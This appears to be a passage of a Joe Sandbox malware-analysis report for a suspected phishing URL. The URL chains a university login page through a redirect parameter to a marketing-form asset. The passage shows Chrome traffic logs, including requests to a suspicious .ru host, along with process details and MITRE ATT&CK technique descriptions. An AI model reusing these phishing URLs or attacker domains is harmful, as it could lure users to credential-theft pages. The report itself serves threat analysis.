2025-02-25 14:37:24 UTC	265	IN	Data Raw: a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a 65 ce 9b fb 93 9b 1b b9 91 1b bf 01 83 32 f8 e3 ed 08 de 54 00 00 Data Ascii: _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@e2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49778	104.16.4.189	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:25 UTC	527	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=l63FidJAFDyWhUUQtTcJugj1TqCpkUKuOvxie6jTTkM-1740494244-1.0.1.1-AxaZVmx2v3kX84kAqK4J4NIznnFGcYXJm7lv3rAY52P2usB1jyXJOgjIr_DC63QOS7mfusDfd.o3sR0U2XDqRQ
2025-02-25 14:37:25 UTC	413	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:25 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91786eea5d077cb4-EWR alt-svc: h3=":443"; ma=86400
2025-02-25 14:37:25 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49780	188.114.97.3	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:36 UTC	566	OUT	GET /rand@dckb8a8u HTTP/1.1 Host: p4d778.vxmeszv.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://rvxt.ymactablet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://rvxt.ymactablet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:37 UTC	822	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4AfjLYGfFDmAe9EstRctSW246XB%2Bl3FZBIbybvY8fZoC89c1PTBVj5PhRIcQlJhHgdPHC6tYPHlLZGCMpbrd8ysS6s9yCdlXYbiCqFcwlfuSlR1yiKhmenVnux0iOf1WuhKr4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91786f312d464223-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1769&min_rtt=1758&rtt_var=667&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1144&delivery_rate=1660978&cwnd=221&unsent_bytes=0&cid=2db2abee38f5e06c&ts=870&x=0"
2025-02-25 14:37:37 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-25 14:37:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49782	188.114.96.3	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:38 UTC	354	OUT	GET /rand@dckb8a8u HTTP/1.1 Host: p4d778.vxmeszv.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:38 UTC	827	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FOa2xx7vuH1QaZAp7dYrcqLzcNsB5ARZ0BPw%2BKMgpd3aKX43CzCALdGLCs7IOIOm5W72M2f%2Bx89G%2B7vLpcgP1prUFVji98fNdLW7deLT2FRSMPMt2CJB1Udsrc2nt05P3MAx%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91786f39aa4d4384-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1576&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=932&delivery_rate=1680092&cwnd=236&unsent_bytes=0&cid=841d33148c86d21c&ts=830&x=0"
2025-02-25 14:37:38 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-02-25 14:37:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:36:52
Start date:	25/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:36:55
Start date:	25/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2380,i,8774974883558803384,10919857573348917733,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:37:02
Start date:	25/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\sets.json

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Windows Analysis Report
https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe